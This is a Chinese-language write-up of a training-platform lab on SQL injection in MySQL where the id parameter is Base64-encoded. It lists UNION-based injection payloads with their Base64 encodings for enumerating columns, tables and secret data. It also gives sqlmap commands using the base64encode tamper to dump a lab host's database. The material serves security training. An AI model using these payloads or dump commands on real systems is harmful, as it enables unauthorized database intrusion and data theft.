墨者:SQL注入实战-MySQL

1. 墨者学院:SQL注入实战-MySQL🚀

2. 实训重点目标✨

目标一: 了解sqlmap的使用及其tamper 插件的使用;

目标二: 了解base64编码及解码。


3. 解题方向🔍

目标网站的id参数通过Base64编码传输,因此:

  • 手工注入:需将SQL语句Base64编码后注入
  • SQLMAP工具 :需使用--tamper=base64encode自动编码Payload(有效载荷:是指攻击者发送给目标系统的恶意数据或代码,用于触发漏洞或执行特定操作)

4. 手工注入方式🎯

4.1 判断字段数⚡

sql 复制代码
1 order by 3

Base64编码:

复制代码
MSBvcmRlciBieSAz

4.2 确定回显位⚡

sql 复制代码
1 and 1=2 union select 1,2

sql 复制代码
-1 union select 1,2

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=

LTEgdW5pb24gc2VsZWN0IDEsMg==

4.3 获取数据库信息⚡

sql 复制代码
1 and 1=2 union select database(),version()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==

4.4 获取系统信息⚡

sql 复制代码
1 and 1=2 union select @@version_compile_os,user()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=

4.5 爆表名⚡

sql 复制代码
1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==

4.6 爆列名⚡

sql 复制代码
1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==

4.7 获取数据⚡

sql 复制代码
1 and 1=2 union select group_concat(thekey),2 from data

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==

5. SQLMAP工具测试🎯

5.1 获取所有数据库⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode

5.2 获取test库的表⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode

5.3 获取data表的列⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode

5.4 导出数据⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode

5.5 清理缓存⚡

bash 复制代码
python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap命令获取如下:

bash 复制代码
python sqlmap.py -h

5.6 参数说明表⭐

参数 作用
--dbs 枚举所有数据库
-D test 指定目标数据库
--tables 枚举表名
-T data 指定目标表
--columns 枚举列名
--dump 导出数据
--tamper=base64encode 自动Base64编码Payload

6. 在线工具🔧

  1. 加菲工具:https://www.orcc.top/tools/base64
  2. 锤子工具:https://www.toolhelper.cn/EncodeDecode/Base64
  3. 白盒子工具:https://www.baihezi.com/base64

7. 总结🏁

  1. Base64编码的SQL注入需手工编码或使用tamper插件
  2. 手工注入需逐步验证回显位和数据结构
  3. sqlmap可自动化完成全流程检测

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
冷崖3 小时前
MySQL异步连接池的学习(五)
学习·mysql
时序数据说3 小时前
时序数据库市场前景分析
大数据·数据库·物联网·开源·时序数据库
听雪楼主.7 小时前
Oracle Undo Tablespace 使用率暴涨案例分析
数据库·oracle·架构
我科绝伦(Huanhuan Zhou)7 小时前
KINGBASE集群日常维护管理命令总结
数据库·database
妖灵翎幺7 小时前
Java应届生求职八股(2)---Mysql篇
数据库·mysql
HMBBLOVEPDX7 小时前
MySQL的事务日志:
数据库·mysql
weixin_419658319 小时前
MySQL数据库备份与恢复
数据库·mysql
wml000009 小时前
CentOS启动两个MySQL实例
mysql·centos·3406
专注API从业者10 小时前
基于 Flink 的淘宝实时数据管道设计:商品详情流式处理与异构存储
大数据·前端·数据库·数据挖掘·flink
小猿姐11 小时前
KubeBlocks for Milvus 揭秘
数据库·云原生